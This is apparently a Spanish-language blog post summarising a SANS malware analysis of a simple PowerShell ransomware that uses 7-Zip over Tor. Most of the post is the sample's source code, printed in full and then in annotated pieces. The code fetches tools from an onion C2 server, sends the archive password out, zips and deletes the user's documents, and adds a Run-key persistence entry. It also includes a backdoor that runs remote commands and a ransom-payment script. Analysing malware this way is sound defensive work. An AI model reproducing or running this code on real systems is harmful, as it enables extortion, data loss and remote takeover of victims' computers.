Sencillo ransomware en Powershell que usa 7z

Xavier Mertens (@xme) "pescó" un sencillo pero interesante ransomware en Powershell que usa 7z para "secuestrar" los archivos de la víctima y, curiosamente, no es detectado por ningún AV en VirusTotal:

https://www.virustotal.com/gui/file/aff84c3e2f40b6cf3724447252c770ade426cfea0458b172db38e9753ce4fba4/content/string

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
function compress($Pass)
$tmp = $env:TEMP
$s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/prog/'
$link_7zdll = $s + '7z.dll'
$link_7zexe = $s + '7z.exe'
$7zdll = '"'+$tmp+'\7z.dll"'
$7zexe = '"'+$tmp+'\7z.exe"'
cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll
cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe
$argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php'
$argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString()
$argPass = '-p' + $Pass
Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop
function makePass
$alph=@()
65..90
foreach-object{$alph+=[char]$_}
$num=@()
48..57
foreach-object{$num+=[char]$_}
$res = $num + $alph
Sort-Object {Get-Random}
$res = $res -join ''
return $res
function makeFileList
$files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php
$List = $files -split '\r'
return $List
Function makeFileListTable($fileList)
$strOut = ''
foreach($i in 0..($fileList.Length - 1))
$strOut += '<tr><td>{0}. {1}</td></tr>' -f ($i+1), $fileList[$i]
return $strOut
function notify($fileList, $fileResult, $UUID)
$web = '<html> <style> table, td {{border: 1px solid rgb(30, 253, 0)
color: aliceblue
}} body {{background-color: rgb(19, 38, 75)
}} h2, h3 {{color: aliceblue
}} .letter {{margin: auto
width: 30%
border: 2px solid rgb(228, 253, 0)
}}
underline {{text-decoration: underline
}} a {{color: aquamarine
}} </style> <body> <div class="letter"> <h2>Dear {0} (UUID),</h2> <h3>Congrats
Your files are compressed with looong password. You can see a password protected file (YourFilesHaha_xxxx.zip) on Desktop, this file stored all your targeted documents
</h3> <h3 id="underline">FAQ: What should I do now
I missed my files :(</h3> <h3>Ans: Create a Bitcoin wallet such as in <a href = "https://accounts.binance.com/en/register" target = "_blank">Binance</a>, pay us Bitcoin worth of 20 USD to get your unzip key
</h3> <h3>After depositing money to your wallet and understanding the way to transfer, you can use the program "ransom_10d2e.bat" in the Desktop to finish the transaction.</h3> </div> <h3>Your affected files (at least):</h3> <table>{1}</table> <body> </html>' -f $UUID, $fileResult
Set-Content -Path 'Desktop\READ_ME(ABOUT YOUR FILES).html' -value $web
Start 'Desktop\READ_ME(ABOUT YOUR FILES).html'
Remove-Item -Path $fileList[$i]
echo $fileList
function setup
$usr = $env:USERPROFILE
$cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoNCiRvblN0YXJ0ID0gJ2NtZCAvYyBwb3dlcnNoZWxsIC13aW5kb3dzdHlsZSBoaWRkZW4gY2QgJGVudjpURU1QXDEwZDJkOyBwb3dlcnNoZWxsIC1lcCBieXBhc3MgLlwxMGQyZC5wczEnOw0KTmV3LUl0ZW1Qcm9wZXJ0eSAtUGF0aCBIS0NVOlxIS0VZX0NVUlJFTlRfVVNFUlxTb2Z0d2FyZVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxSdW4gLU5hbWUgMXMwdGRhMnJkdCAtVmFsdWUgJG9uU3RhcnQgLUZvcmNlOw0KDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0VVVJRA0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KJFJIID0gImh0dHA6Ly9xZDQ1ZDdvYWxoY3psbG1yaGI0c2VncWM0NjVzeXV2NGhzamxoejV6a2NobGluam1yZm80dWhpZC5vbmlvbjo1MDAwL3JhYy8iOw0KJFVVSUQgPSBnZXRVVUlEOw0KJFVVSUQ7DQoNCndoaWxlKCR0cnVlKQ0Kew0KICAgIGNtZCAvYyBjdXJsIC1zIC14IHNvY2tzNWg6Ly9sb2NhbGhvc3Q6OTA1MCAkUkgnc3RhdHVzLnBocD9pZD0nJFVVSUQ7DQogICAgJGpvYkNhbGwgPSAoY21kIC9jIGN1cmwgLXMgLXggc29ja
$cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0IGRvZXNuJ3QgZG8gYW55IGhhcm0gdG8gb3VyIHNlcnZlciwgZG9uJ3QgYmUgc3R1cGlkLmBuU3RhcnRpbmcgVG9yIHRvIGNvbW11bmljYXRlIHdpdGggdXMuLi4iDQpjZCAkZW52OlVTRVJQUk9GSUxFOw0KU3RhcnQtUHJvY2VzcyAtd2luZG93c3R5bGUgaGlkZGVuIC1GaWxlUGF0aCAuaG9tZVxUb3JcdG9yLmV4ZTsNCg0KZnVuY3Rpb24gZ2V0UmFuc29tKCkNCnsNCiAgICAkcmVxdWVzdCA9ICdodHRwOi8vcWQ0NWQ3b2FsaGN6bGxtcmhiNHNlZ3FjNDY1c3l1djRoc2psaHo1emtjaGxpbmptcmZvNHVoaWQub25pb246NTAwMC9iaXRUcmFuLnBocD9VU0RWYWx1ZT1nZXQnOw0KICAgICRjdXJSYW5zb20gPSBjbWQgL2MgY3VybCAtcyAteCBzb2NrczVoOi8vbG9jYWxob3N0OjkwNTAgJHJlcXVlc3Q7DQogICAgJG1zZzEgPSAnUmFuc29tIG5lZWRlZCAoaW4gQlRDKTogezB9IH4gMjAgVVNEJyAtZiAkY3VyUmFuc29tOw0KICAgIHJldHVybiAkbXNnMTsNCn0NCmZ1bmN0aW9uIGdldFVVSUQoKQ0Kew0KICAgICRyYXcgPSAoR2V0LVdtaU9iamVjdCAtQ2xhc3MgV2luMzJfQ29tcHV0ZXJTeXN0ZW1Qcm9kdWN0KS5VVUlEOw0KICAgICRVVUlEID0gJHJhdy5zcGxpdCgnLScpWzRdOw0KICAgIHJldHVybiAkVVVJRDsNCn0NCg0KZnVuY3Rpb24gcGF5KCRVVUlEKQ0Kew0KICAgICRtc2cyID0gIk5vdGUxOiBXZSBzdHJvbmdseSBhZHZpc2UgeW91IHRvIHdhaXQgNSAtIDEwcyBiZWZvcmUgc
$10d2d = $tmp +'\10d2d\10d2d.ps1'
$10d2e = $usr +'\Desktop\10d2e.ps1'
New-Item -ItemType Directory -Force -Path $tmp'\10d2d'
Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d))
Out-String)
Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e))
Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1'
function getUUID
$raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID
$UUID = $raw.split('-')[4]
return $UUID
cd $env:USERPROFILE
Remove-Item -Path _.zip -Force
$UUID = getUUID
$Pass = makePass
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/storeKey.php
pass={0}
id={1}' -f $Pass, $UUID
$response = cmd /c curl -s -x socks5h://localhost:9050 $request
if($response -eq 'OK')
$fileList = @(makeFileList)
$fileResult = makeFileListTable $fileList
compress $Pass
setup
notify $fileList $fileResult $UUID
cd $env:TEMP/10d2d
powershell -ep bypass .\10d2d.ps1
mkdir -Path $env:USERPROFILE\Desktop\Debug_Failed

El script comienza generando algunos datos basados en el host: un UUID y una contraseña aleatoria:

function getUUID
{
    $raw = (Get-WmiObject -Class Win32_ComputerSystemProduct).UUID;
    $UUID = $raw.split('-')[4];
    return $UUID;
}

function makePass
{
    $alph=@();
    65..90|foreach-object{$alph+=[char]$_};
    $num=@();
    48..57|foreach-object{$num+=[char]$_};
    
    $res = $num + $alph | Sort-Object {Get-Random};
    $res = $res -join '';
    return $res; 
}

El ransomware se comunica con el servidor de C2 a través de TOR. 

El cliente TOR no estaba incluido en este script de PowerShell, ¿tal vez en un segundo script?  

Nota: Se espera que TOR se inicie desde un directorio ".home":

cd $env:USERPROFILE;
Start-Process -windowstyle hidden -FilePath .home\Tor\tor.exe;

El servidor C2 se encuentra en esta dirección de Onion: qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion.

El ransomware envía el UUID y la contraseña generados al C2:

UUID = getUUID;
$Pass = makePass;
$request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/storeKey.php?pass={0}^&id={1}' -f $Pass, $UUID;
$response = cmd /c curl -s -x socks5h://localhost:9050 $request;
La respuesta esperada es un simple "OK" que activará el proceso de cifrado de archivos. La lista de extensiones de archivo de destino es bastante pequeña y la ruta de búsqueda está restringida al directorio de inicio del usuario.
function makeFileList
{
    $files = cmd /c where /r $env:USERPROFILE *.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php;
    $List = $files -split '\r';
    return $List;
}

$fileList = @(makeFileList);
$fileResult = makeFileListTable $fileList;
compress $Pass;

La forma en que se cifran los archivos es un enfoque interesante. En lugar de cifrar todos los archivos uno por uno, crea un gran archivo cifrado 7Z que contiene todos los archivos de destino.

function compress($Pass)
{
    $tmp = $env:TEMP;
    $s = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/prog/';
    $link_7zdll = $s + '7z.dll';
    $link_7zexe = $s + '7z.exe';
    
    $7zdll = '"'+$tmp+'\7z.dll"';
    $7zexe = '"'+$tmp+'\7z.exe"';
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zdll -o $7zdll;
    cmd /c curl -s -x socks5h://localhost:9050 $link_7zexe -o $7zexe;
    
    $argExtensions = '*.pdf *.doc *.docx *.xls *.xlsx *.pptx *.ppt *.txt *.csv *.htm *.html *.php';

    $argOut = 'Desktop\YourFilesHaha_{0}.zip' -f (Get-Random -Minimum 100000 -Maximum 200000).ToString();
    $argPass = '-p' + $Pass;

    Start-Process -WindowStyle Hidden -Wait -FilePath $tmp'\7z.exe' -ArgumentList 'a', $argOut, '-r', $argExtensions, $argPass -ErrorAction Stop;
}

Una vez que los archivos se empaquetan, los scripts se dumpean en el sistema de archivos:

function setup
{
    $tmp = $env:TEMP;
    $usr = $env:USERPROFILE;

    $cont_10d2d = 'dGFza2tpbGwgL2ltIHRvci5leGUgL2Y7DQoN ... TbGVlcCAtU2Vjb25kcyA1Ow0KfQ==';
    $cont_10d2e = 'ZWNobyAiTW9kaWZ5aW5nIHRoaXMgc2NyaXB0 ... J3QgZG8gYW55IGhhcmm01lbnU7DQo=';
    
    $10d2d = $tmp +'\10d2d\10d2d.ps1';
    $10d2e = $usr +'\Desktop\10d2e.ps1';

    New-Item -ItemType Directory -Force -Path $tmp'\10d2d';
    Set-Content -Path $10d2d -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2d)) | Out-String);
    Set-Content -Path $10d2e -value ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($cont_10d2e)) | Out-String);
    Set-Content -Path 'Desktop\Ransom_10d2e.bat' -value 'cmd /k powershell -ep bypass .\10d2e.ps1';
}

El primer script ("10d2d.ps1") implementa persistencia:

$onStart = 'cmd /c powershell -windowstyle hidden cd $env:TEMP\10d2d; powershell -ep bypass .\10d2d.ps1';
New-ItemProperty -Path HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run -Name 1s0tda2rdt -Value $onStart -Force;

Luego implementa un backdoor esperando comandos del C2:

$RH = "http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid[.]onion:5000/rac/";
$UUID = getUUID;
while($true)
{
    cmd /c curl -s -x socks5h://localhost:9050 $RH'status.php?id='$UUID;
    $jobCall = (cmd /c curl -s -x socks5h://localhost:9050 $RH'commandBlock') -split '\n';   
    if(($jobCall[0] -replace ' ', '') -eq $UUID)
    {
        cmd /c curl -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=ack';
        try
        {
            $returnCont = (Invoke-Expression $jobCall[1] | Out-String) -replace '\r\n', '\r\n';
        }
        catch
        {
            $returnCont = $_ -replace '\r\n', '\r\n';
        }
        $curPath = (cmd /c cd | Out-String) -replace '\r\n', '\r\n';
        $returnCont = ('From UUID - {0} {1}\r\n{2}\r\n' -f $UUID, ('_'*75), $curPath) + $returnCont;

        cmd /c curl -X POST -d $returnCont -s -x socks5h://localhost:9050 $RH'centralPanel.php?q=return';
    }

    Start-Sleep -Seconds 5;
}

El segundo script ("10d2e.ps1") contiene el código para indicar al usuario la nota del rescate (que no es muy caro: $20):

function pay($UUID)
{
    $msg2 = "Note1: We strongly advise you to wait 5 - 10s before submitting your info below to avoid the latency problem. `nNote2: pay the ransom only once.`nNote3: demo victim wallet: tb1qkvstwkjsuudcy0dnljdp8qpw4ur68g5uxhhf3j"; $msg2;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=schedule"&"id=' + $UUID;
    $get2 = cmd /c curl -s -x socks5h://localhost:9050 $request;
    $msg3 = "`n`nDeadline: " + (get-date).AddMinutes(10).ToString("MM({0})-dd({1})-yyyy HH:mm:ss") -f 'mm', 'dd'; $msg3;
    $get2 = Read-Host($get2);

    $msg4 = 'Loading again...'; $msg4;
    $request = 'http://qd45d7oalhczllmrhb4segqc465syuv4hsjlhz5zkchlinjmrfo4uhid.onion:5000/bitTran.php?payment=confirm"&"id=' + $UUID + '"&"walletAddr=' + $get2;
    $result = cmd /c curl -s -x socks5h://localhost:9050 $request; $result;

    if($result[0] -ieq 'C')
    {
        $msg5 = 'Generating a copy of password to your Desktop. Have a check...'; $msg5;
        Set-Content -Path $env:USERPROFILE\Desktop\passc0de.txt -Value $result;
    }

}

La interacción con el usuario tiene esta pinta:

Tened en cuenta que el usuario debe invocar este segundo script como se indica en la notificación:

Fuente: https://isc.sans.edu/forums/diary/Simple+Powershell+Ransomware+Creating+a+7Z+Archive+of+your+Files/27286/


Comentarios